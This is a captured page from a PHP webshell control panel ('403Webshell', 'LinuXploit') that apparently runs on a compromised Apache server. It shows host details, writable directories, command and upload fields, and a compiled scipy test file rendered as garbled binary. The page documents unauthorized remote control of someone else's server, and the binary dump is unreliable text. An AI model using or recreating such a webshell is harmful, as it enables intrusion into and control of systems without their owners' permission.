403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/fftpack/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/fftpack/tests/__pycache__/test_import.cpython-311.pyc
�

d�ci��T�dZddlmZddlZddlZddlmZddlZGd�d��ZdS)a�Test possibility of patching fftpack with pyfftw.

No module source outside of scipy.fftpack should contain an import of
the form `from scipy.fftpack import ...`, so that a simple replacement
of scipy.fftpack by the corresponding fftw interface completely swaps
the two FFT implementations.

Because this simply inspects source files, we only need to run the test
on one version of Python.
�)�PathN)�assert_c��eZdZd�ZdS)�TestFFTPackImportc�|��ttj��j}d�|�d��D]�}|dz|jvr�t
jt|����5}tt�fd�|D����d�|����ddd��n#1swxYwY��dS)Nz\s*from.+\.fftpack import .*\nz*.py�fftpackc3�D�K�|]}tj�|��V��dS)N)�re�	fullmatch)�.0�line�regexps  ��A/usr/lib/python3/dist-packages/scipy/fftpack/tests/test_import.py�	<genexpr>z8TestFFTPackImport.test_fftpack_import.<locals>.<genexpr>sF�����.�.� $�!#��V�T� :� :�:�.�.�.�.�.�.�z#{0} contains an import from fftpack)r�scipy�__file__�parent�rglob�parents�tokenize�open�strr�all�format)�self�base�path�filers    @r�test_fftpack_importz%TestFFTPackImport.test_fftpack_imports+����E�N�#�#�*��2���J�J�v�&�&�	L�	L�D��i��4�<�/�/����s�4�y�y�)�)�
L�T���.�.�.�.�(,�.�.�.�.�.�=�D�D�T�J�J�L�L�L�
L�
L�
L�
L�
L�
L�
L�
L�
L�
L�
L����
L�
L�
L�
L��	L�	Ls�'=B0�0B4	�7B4	N)�__name__�
__module__�__qualname__r �rrrrs(������L�L�L�L�Lrr)	�__doc__�pathlibrr
r�
numpy.testingrrrr$rr�<module>r(s���	�	�������	�	�	�	�����!�!�!�!�!�!�����L�L�L�L�L�L�L�L�L�Lr

Youez - 2016 - github.com/yon3zu
LinuXploit